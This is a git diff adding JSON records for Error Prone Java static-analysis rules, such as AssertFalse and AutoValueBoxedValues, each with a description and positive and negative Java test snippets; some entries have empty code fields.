+1,30 @@ +{ + "name": "ArraysAsListPrimitiveArray", + "language": "java", + "description": "Arrays.asList does not autobox primitive arrays, as one might expect.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Arrays;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains: Booleans.asList(new boolean[0]);\n Arrays.asList(new boolean[0]);\n // BUG: Diagnostic contains: Bytes.asList(new byte[0]);\n Arrays.asList(new byte[0]);\n // BUG: Diagnostic contains: Shorts.asList(new short[0]);\n Arrays.asList(new short[0]);\n // BUG: Diagnostic contains: Chars.asList(new char[0]);\n Arrays.asList(new char[0]);\n // BUG: Diagnostic contains: Ints.asList(new int[0]);\n Arrays.asList(new int[0]);\n // BUG: Diagnostic contains: Longs.asList(new long[0]);\n Arrays.asList(new long[0]);\n // BUG: Diagnostic contains: Doubles.asList(new double[0]);\n Arrays.asList(new double[0]);\n // BUG: Diagnostic contains: Floats.asList(new float[0]);\n Arrays.asList(new float[0]);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import java.util.Arrays;\n\n class Test {\n void f() {\n Arrays.asList(new Object());\n Arrays.asList(new Object[0]);\n Arrays.asList(new Integer[0]);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertFalse.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertFalse.json new file mode 100644 index 0000000..43ede80 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertFalse.json @@ -0,0 +1,30 @@ +{ + "name": "AssertFalse", + "language": "java", + "description": "Assertions may be disabled at runtime and do not guarantee that execution will halt here; consider throwing an exception instead", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 45, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author sebastian.h.monte@gmail.com (Sebastian Monte)\n */\n public class AssertFalseNegativeCases {\n\n public void assertTrue() {\n assert true;\n }\n\n public void assertFalseFromCondition() {\n assert 0 == 1;\n }\n }\\" + }, + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author sebastian.h.monte@gmail.com (Sebastian Monte)\n */\n public class AssertFalsePositiveCases {\n public void assertFalse() {\n // BUG: Diagnostic contains: throw new AssertionError()\n assert false;\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertThrowsMultipleStatements.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertThrowsMultipleStatements.json new file mode 100644 index 0000000..ee0b5f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertThrowsMultipleStatements.json @@ -0,0 +1,22 @@ +{ + "name": "AssertThrowsMultipleStatements", + "language": "java", + "description": "The lambda passed to assertThrows should contain exactly one statement", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "ignoreInThrowingRunnables", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import static org.junit.Assert.assertThrows;\n\n class Test {\n void f() {\n assertThrows(\n IllegalStateException.class,\n () -> {\n System.err.println();\n });\n IllegalStateException e =\n assertThrows(\n IllegalStateException.class,\n () -> {\n System.err.println(1);\n System.err.println(2);\n });\n assertThrows(\n IllegalStateException.class,\n () -> {\n int x = 2;\n int y = x;\n });\n }\n }\n \n\n import static org.junit.Assert.assertThrows;\n\n class Test {\n void f() {\n assertThrows(\n IllegalStateException.class,\n () -> {\n System.err.println();\n });\n System.err.println(1);\n IllegalStateException e =\n assertThrows(IllegalStateException.class, () -> System.err.println(2));\n int x = 2;\n assertThrows(\n IllegalStateException.class,\n () -> {\n int y = x;\n });\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertionFailureIgnored.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertionFailureIgnored.json new file mode 100644 index 0000000..168608c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssertionFailureIgnored.json @@ -0,0 +1,54 @@ +{ + "name": "AssertionFailureIgnored", + "language": "java", + "description": "This assertion throws an AssertionError if it fails, which will be caught by an enclosing try block.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 207, + "branches": 25, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import org.junit.Assert;\n\n class Test {\n void f() {\n try {\n // BUG: Diagnostic contains:\n Assert.fail();\n } catch (Throwable t) {\n }\n try {\n // BUG: Diagnostic contains:\n Assert.fail();\n } catch (AssertionError t) {\n }\n try {\n if (true) throw new NoSuchFieldException();\n if (true) throw new NoSuchMethodException();\n // BUG: Diagnostic contains:\n Assert.fail();\n } catch (NoSuchFieldException | NoSuchMethodException | AssertionError t) {\n }\n AssertionError e = null;\n try {\n // BUG: Diagnostic contains:\n Assert.fail();\n } catch (AssertionError t) {\n throw e;\n }\n try {\n // BUG: Diagnostic contains:\n Assert.fail();\n } catch (AssertionError t) {\n throw new AssertionError(e);\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "import org.junit.Assert;\n import java.io.IOException;\n\n class Test {\n void f() {\n try {\n if (true) throw new IOException();\n Assert.fail();\n } catch (IOException t) {\n }\n try {\n Assert.fail();\n } catch (Exception t) {\n }\n try {\n if (true) throw new NoSuchFieldException();\n if (true) throw new NoSuchMethodException();\n Assert.fail();\n } catch (NoSuchFieldException | NoSuchMethodException t) {\n }\n try {\n } catch (Throwable t) {\n Assert.fail();\n }\n try {\n Assert.fail();\n } catch (AssertionError t) {\n throw t;\n }\n try {\n Assert.fail();\n } catch (AssertionError t) {\n throw new AssertionError(t);\n }\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "import org.junit.Assert;\n import java.io.IOException;\n import static com.google.common.truth.Truth.assertThat;\n\n class Test {\n void f() {\n try {\n System.err.println();\n Assert.fail();\n } catch (AssertionError t) {\n assertThat(t).isInstanceOf(AssertionError.class);\n }\n try {\n System.err.println();\n Assert.fail();\n } catch (AssertionError e) {\n }\n try {\n if (true) throw new IOException();\n Assert.fail();\n } catch (AssertionError e) {\n } catch (Exception e) {\n }\n try {\n if (true) throw new NoSuchFieldException();\n if (true) throw new NoSuchMethodException();\n Assert.fail();\n } catch (AssertionError | NoSuchFieldException | NoSuchMethodException e) {\n }\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import org.junit.Assert;\n\n class Test {\n void f() {\n AssertionError t = assertThrows(AssertionError.class, () -> System.err.println());\n assertThat(t).isInstanceOf(AssertionError.class);\n assertThrows(AssertionError.class, () -> System.err.println());\n try {\n if (true) throw new IOException();\n Assert.fail();\n } catch (AssertionError e) {\n } catch (Exception e) {\n }\n try {\n if (true) throw new NoSuchFieldException();\n if (true) throw new NoSuchMethodException();\n Assert.fail();\n } catch (AssertionError | NoSuchFieldException | NoSuchMethodException e) {\n }\n }\n }" + }, + { + "description": "refactoringStatements", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "import org.junit.Assert;\n import java.io.IOException;\n import static com.google.common.truth.Truth.assertThat;\n\n class Test {\n void f() {\n try {\n System.err.println();\n System.err.println();\n Assert.fail();\n } catch (AssertionError t) {\n assertThat(t).isInstanceOf(AssertionError.class);\n }\n try {\n System.err.println();\n System.err.println();\n Assert.fail();\n } catch (AssertionError e) {\n }\n try {\n if (true) throw new AssertionError();\n Assert.fail();\n } catch (AssertionError e) {\n }\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import org.junit.Assert;\n\n class Test {\n void f() {\n AssertionError t =\n assertThrows(\n AssertionError.class,\n () -> {\n System.err.println();\n System.err.println();\n });\n assertThat(t).isInstanceOf(AssertionError.class);\n assertThrows(\n AssertionError.class,\n () -> {\n System.err.println();\n System.err.println();\n });\n assertThrows(\n AssertionError.class,\n () -> {\n if (true) throw new AssertionError();\n });\n }\n }" + }, + { + "description": "union", + "expected-problems": null, + "expected-linenumbers": [ + 261 + ], + "code": "import org.junit.Assert;\n import java.io.IOError;\n\n class Test {\n void f() {\n try {\n if (true) throw new NullPointerException();\n Assert.fail();\n } catch (NullPointerException | IOError t) {\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssignmentExpression.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssignmentExpression.json new file mode 100644 index 0000000..ff55512 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AssignmentExpression.json @@ -0,0 +1,62 @@ +{ + "name": "AssignmentExpression", + "language": "java", + "description": "The use of an assignment expression can be surprising and hard to read; consider factoring out the assignment to a separate statement.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "bareAssignment_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "class Test {\n void test() {\n int a = 1;\n a = 2;\n for (a = 3; true; ) {\n break;\n }\n }\n }" + }, + { + "description": "comparedToNull_sure", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "class Test {\n void test() {\n Object a;\n if ((a = new Object()) != null) {\n return;\n }\n }\n }" + }, + { + "description": "multipleAssignments_sure", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "class Test {\n void test() {\n Object a;\n Object b;\n a = b = new Object();\n }\n }" + }, + { + "description": "assignmentExpressionUsed_ohNo", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "class Test {\n void test(boolean x) {\n // BUG: Diagnostic contains:\n test(x = true);\n }\n }" + }, + { + "description": "doubleAssignment_removed", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "class Test {\n void test() {\n // BUG: Diagnostic contains:\n Object a = a = new Object();\n // BUG: Diagnostic contains:\n a = a = new Object();\n }\n }\n \n\n class Test {\n void test() {\n Object a = new Object();\n a = new Object();\n }\n }" + }, + { + "description": "returnedValue", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "class Test {\n Object a;\n\n Object test() {\n // BUG: Diagnostic contains:\n return a = new Object();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AsyncCallableReturnsNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AsyncCallableReturnsNull.json new file mode 100644 index 0000000..c312617 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AsyncCallableReturnsNull.json @@ -0,0 +1,20 @@ +{ + "name": "AsyncCallableReturnsNull", + "language": "java", + "description": "AsyncCallable should not return a null Future, only a Future whose result is null.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 28, + "branches": 1, + "apis": 2, + "test": [ + { + "description": null, + "expected-problems": null, + "expected-linenumbers": [], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AsyncFunctionReturnsNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AsyncFunctionReturnsNull.json new file mode 100644 index 0000000..db72cce --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AsyncFunctionReturnsNull.json @@ -0,0 +1,30 @@ +{ + "name": "AsyncFunctionReturnsNull", + "language": "java", + "description": "AsyncFunction should not return a null Future, only a Future whose result is null.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 28, + "branches": 1, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.util.concurrent.Futures.immediateFuture;\n\n import com.google.common.util.concurrent.AsyncFunction;\n import com.google.common.util.concurrent.ListenableFuture;\n\n /** Positive cases for {@link AsyncFunctionReturnsNull}. */\n public class AsyncFunctionReturnsNullPositiveCases {\n static void listenableFutures() {\n new AsyncFunction() {\n @Override\n public ListenableFuture apply(String input) throws Exception {\n // BUG: Diagnostic contains: immediateFuture(null)\n return null;\n }\n };\n\n new AsyncFunction() {\n @Override\n public ListenableFuture apply(Object o) {\n if (o instanceof String) {\n return immediateFuture((String) o);\n }\n // BUG: Diagnostic contains: immediateFuture(null)\n return null;\n }\n };\n }\n\n static class MyAsyncFunction implements AsyncFunction {\n @Override\n public ListenableFuture apply(Object input) throws Exception {\n return immediateFuture(input.toString());\n }\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.util.concurrent.Futures.immediateFuture;\n\n import com.google.common.base.Function;\n import com.google.common.util.concurrent.AsyncFunction;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.function.Supplier;\n import org.jspecify.annotations.Nullable;\n\n /** Negative cases for {@link AsyncFunctionReturnsNull}. */\n public class AsyncFunctionReturnsNullNegativeCases {\n static {\n new AsyncFunction() {\n @Override\n public ListenableFuture apply(String input) throws Exception {\n return immediateFuture(null);\n }\n };\n\n new Function() {\n @Override\n public Object apply(String input) {\n return null;\n }\n };\n\n new AsyncFunction() {\n @Override\n public ListenableFuture apply(String input) throws Exception {\n return apply(input, input);\n }\n\n public ListenableFuture apply(String input1, String input2) {\n return null;\n }\n };\n\n new MyNonAsyncFunction() {\n @Override\n public ListenableFuture apply(String input) throws Exception {\n return null;\n }\n };\n\n new AsyncFunction() {\n @Override\n public ListenableFuture apply(String input) throws Exception {\n Supplier s =\n () -> {\n return null;\n };\n return immediateFuture(s.get());\n }\n };\n }\n\n interface MyNonAsyncFunction {\n ListenableFuture apply(@Nullable I input) throws Exception;\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AttemptedNegativeZero.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AttemptedNegativeZero.json new file mode 100644 index 0000000..e5f2a3d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AttemptedNegativeZero.json @@ -0,0 +1,30 @@ +{ + "name": "AttemptedNegativeZero", + "language": "java", + "description": "-0 is the same as 0. For the floating-point negative zero, use -0.0.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueBoxedValues.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueBoxedValues.json new file mode 100644 index 0000000..ba502ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueBoxedValues.json @@ -0,0 +1,134 @@ +{ + "name": "AutoValueBoxedValues", + "language": "java", + "description": "AutoValue instances should not usually contain boxed types that are not Nullable. We recommend removing the unnecessary boxing.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 336, + "branches": 38, + "apis": 2, + "test": [ + { + "description": "unnecessaryBoxedTypes_refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "" + }, + { + "description": "unnecessaryBoxedTypes_refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "" + }, + { + "description": "nullableBoxedTypes", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "" + }, + { + "description": "genericNullableBoxedTypes", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "" + }, + { + "description": "primitiveTypes", + "expected-problems": null, + "expected-linenumbers": [ + 214 + ], + "code": "" + }, + { + "description": "nonBoxableTypes", + "expected-problems": null, + "expected-linenumbers": [ + 256 + ], + "code": "" + }, + { + "description": "mixedTypes_refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "" + }, + { + "description": "unnecessaryBoxedTypes_suppressWarningsForClass", + "expected-problems": null, + "expected-linenumbers": [ + 348 + ], + "code": "" + }, + { + "description": "unnecessaryBoxedTypes_suppressWarnings", + "expected-problems": null, + "expected-linenumbers": [ + 376 + ], + "code": "" + }, + { + "description": "unnecessaryBoxedTypes_overrides", + "expected-problems": null, + "expected-linenumbers": [ + 428 + ], + "code": "" + }, + { + "description": "nullableGettersWithNonNullableSetters_noChange", + "expected-problems": null, + "expected-linenumbers": [ + 486 + ], + "code": "import com.google.auto.value.AutoValue;\n import javax.annotation.Nullable;\n\n @AutoValue\n abstract class Test {\n public abstract @Nullable Long longId();\n\n public abstract @Nullable Integer intId();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setLongId(Long value);\n\n abstract Builder setIntId(Integer value);\n\n abstract Test build();\n }\n }" + }, + { + "description": "nonTrivialFactoryMethods_refectoring", + "expected-problems": null, + "expected-linenumbers": [ + 517 + ], + "code": "package test;\n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract int foo();\n\n abstract Long bar();\n\n static Test createTrivial(int foo, Long bar) {\n return new AutoValue_Test(foo, bar);\n }\n\n static String notFactoryMethod(int foo, Long bar) {\n return String.format(\"foo: %d, bar: %d\", foo, bar);\n }\n\n static Test createWrongOrder(Long bar, int foo) {\n return new AutoValue_Test(foo, bar);\n }\n\n static Test createLessArguments(int foo) {\n return new AutoValue_Test(foo, 0L);\n }\n\n static Test createMoreArguments(int foo, Long bar, Long baz) {\n return new AutoValue_Test(foo, bar + baz);\n }\n\n static Test createWithValidation(int foo, Long bar) {\n if (bar == null) {\n throw new AssertionError();\n }\n return new AutoValue_Test(foo, bar);\n }\n\n static Test createModifyArgs(int foo, Long bar) {\n return new AutoValue_Test(foo + 1, bar);\n }\n\n static Test createModifyArgsIfNull(int foo, Long bar) {\n return new AutoValue_Test(foo, bar == null ? 0L : bar);\n }\n }\n \n\n package test;\n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract int foo();\n\n abstract long bar();\n\n static Test createTrivial(int foo, long bar) {\n return new AutoValue_Test(foo, bar);\n }\n\n static String notFactoryMethod(int foo, Long bar) {\n return String.format(\"foo: %d, bar: %d\", foo, bar);\n }\n\n static Test createWrongOrder(Long bar, int foo) {\n return new AutoValue_Test(foo, bar);\n }\n\n static Test createLessArguments(int foo) {\n return new AutoValue_Test(foo, 0L);\n }\n\n static Test createMoreArguments(int foo, Long bar, Long baz) {\n return new AutoValue_Test(foo, bar + baz);\n }\n\n static Test createWithValidation(int foo, Long bar) {\n if (bar == null) {\n throw new AssertionError();\n }\n return new AutoValue_Test(foo, bar);\n }\n\n static Test createModifyArgs(int foo, Long bar) {\n return new AutoValue_Test(foo + 1, bar);\n }\n\n static Test createModifyArgsIfNull(int foo, Long bar) {\n return new AutoValue_Test(foo, bar == null ? 0L : bar);\n }\n }" + }, + { + "description": "settersWithoutSetPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 624 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n public abstract Long longId();\n\n public abstract Boolean booleanId();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder longId(Long value);\n\n abstract Builder booleanId(Boolean value);\n\n abstract Test build();\n }\n }\n \n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n public abstract long longId();\n\n public abstract boolean booleanId();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder longId(long value);\n\n abstract Builder booleanId(boolean value);\n\n abstract Test build();\n }\n }" + }, + { + "description": "allGettersWithPrefix_ignoreToBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 675 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n public abstract Long getLongId();\n\n public abstract boolean isBooleanId();\n\n public abstract Builder toBuilder();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setLongId(Long value);\n\n abstract Builder setBooleanId(boolean value);\n\n abstract Test build();\n }\n }\n \n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n public abstract long getLongId();\n\n public abstract boolean isBooleanId();\n\n public abstract Builder toBuilder();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setLongId(long value);\n\n abstract Builder setBooleanId(boolean value);\n\n abstract Test build();\n }\n }" + }, + { + "description": "getterInBuilderClass", + "expected-problems": null, + "expected-linenumbers": [ + 730 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n public abstract Long longId();\n\n public abstract Boolean booleanId();\n\n public abstract Builder toBuilder();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder longId(Long value);\n\n abstract Builder booleanId(Boolean value);\n\n abstract Boolean booleanId();\n\n abstract Test build();\n }\n }\n \n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n public abstract long longId();\n\n public abstract boolean booleanId();\n\n public abstract Builder toBuilder();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder longId(long value);\n\n abstract Builder booleanId(boolean value);\n\n abstract boolean booleanId();\n\n abstract Test build();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueBuilderDefaultsInConstructor.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueBuilderDefaultsInConstructor.json new file mode 100644 index 0000000..48242be --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueBuilderDefaultsInConstructor.json @@ -0,0 +1,38 @@ +{ + "name": "AutoValueBuilderDefaultsInConstructor", + "language": "java", + "description": "Defaults for AutoValue Builders should be set in the factory method returning Builder instances, not the constructor", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "import com.google.auto.value.AutoValue;\n\n class Test {\n @AutoValue.Builder\n abstract class Builder {\n Builder() {}\n\n abstract void setFoo(int foo);\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "package test;\n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract int foo();\n\n Builder builder() {\n return new AutoValue_Test.Builder();\n }\n\n @AutoValue.Builder\n abstract static class Builder {\n Builder() {\n this.setFoo(1);\n }\n\n abstract Builder setFoo(int foo);\n\n abstract Test build();\n }\n }\n \n\n package test;\n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract int foo();\n\n Builder builder() {\n return new AutoValue_Test.Builder().setFoo(1);\n }\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setFoo(int foo);\n\n abstract Test build();\n }\n }" + }, + { + "description": "negative_nonAbstractMethodCalled", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "package test;\n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract int foo();\n\n Builder builder() {\n return new AutoValue_Test.Builder();\n }\n\n @AutoValue.Builder\n abstract static class Builder {\n Builder() {\n doSomethingOdd();\n }\n\n void doSomethingOdd() {}\n\n abstract Builder setFoo(int foo);\n\n abstract Test build();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueFinalMethods.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueFinalMethods.json new file mode 100644 index 0000000..0b3687a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueFinalMethods.json @@ -0,0 +1,62 @@ +{ + "name": "AutoValueFinalMethods", + "language": "java", + "description": "Make toString(), hashCode() and equals() final in AutoValue classes, so it is clear to readers that AutoValue is not overriding them", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "finalAdditionToEqHcTs", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract String valueOne();\n\n abstract String valueTwo();\n\n static Test create(String valueOne, String valueTwo) {\n return null;\n }\n\n @Override\n public int hashCode() {\n return 1;\n }\n\n @Override\n public String toString() {\n return \"Hakuna Matata\";\n }\n\n @Override\n public boolean equals(Object obj) {\n return true;\n }\n }\n \n\n import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract String valueOne();\n\n abstract String valueTwo();\n\n static Test create(String valueOne, String valueTwo) {\n return null;\n }\n\n @Override\n public final int hashCode() {\n return 1;\n }\n\n @Override\n public final String toString() {\n return \"Hakuna Matata\";\n }\n\n @Override\n public final boolean equals(Object obj) {\n return true;\n }\n }" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n abstract String valueOne();\n\n abstract String valueTwo();\n\n @SuppressWarnings(\"AutoValueFinalMethods\")\n @Override\n public int hashCode() {\n return 1;\n }\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 129 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.auto.value.extension.memoized.Memoized;\n\n @AutoValue\n abstract class Test {\n abstract String valueOne();\n\n abstract String valueTwo();\n\n static Test create(String valueOne, String valueTwo) {\n return null;\n }\n\n @Override\n public abstract int hashCode();\n\n @Override\n @Memoized\n public String toString() {\n return \"Hakuna Matata\";\n }\n\n @Override\n public final boolean equals(Object obj) {\n return true;\n }\n\n private int privateNonEqTsHcMethod() {\n return 2;\n }\n\n public final String publicFinalNonEqTsHcMethod() {\n return \"Hakuna Matata\";\n }\n\n public boolean publicNonEqTsHcMethod(Object obj) {\n return true;\n }\n }" + }, + { + "description": "abstractMemoizedNegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.auto.value.extension.memoized.Memoized;\n\n @AutoValue\n abstract class Test {\n static Test create() {\n return null;\n }\n\n @Override\n @Memoized\n public abstract int hashCode();\n }" + }, + { + "description": "diagnosticString", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.auto.value.extension.memoized.Memoized;\n\n @AutoValue\n abstract class Test {\n static Test create() {\n return null;\n }\n\n @Override\n // BUG: Diagnostic contains: Make equals final in AutoValue classes\n public boolean equals(Object obj) {\n return true;\n }\n }" + }, + { + "description": "diagnosticStringWithMultipleMethodMatches", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.auto.value.extension.memoized.Memoized;\n\n @AutoValue\n abstract class Test {\n static Test create() {\n return null;\n }\n\n @Override\n // BUG: Diagnostic contains: Make equals, hashCode final in AutoValue classes\n public boolean equals(Object obj) {\n return true;\n }\n\n @Override\n public int hashCode() {\n return 1;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueImmutableFields.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueImmutableFields.json new file mode 100644 index 0000000..712863a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueImmutableFields.json @@ -0,0 +1,142 @@ +{ + "name": "AutoValueImmutableFields", + "language": "java", + "description": "AutoValue recommends using immutable collections", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 147, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "matchesNonPrimitiveArray", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableList\n public abstract String[] countries();\n }" + }, + { + "description": "matchesIntArray", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableList\n public abstract int[] countries();\n }" + }, + { + "description": "matchesCollection", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import com.google.auto.value.AutoValue;\n import java.util.Collection;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableCollection\n public abstract Collection countries();\n }" + }, + { + "description": "matchesList", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "import com.google.auto.value.AutoValue;\n import java.util.List;\n\n 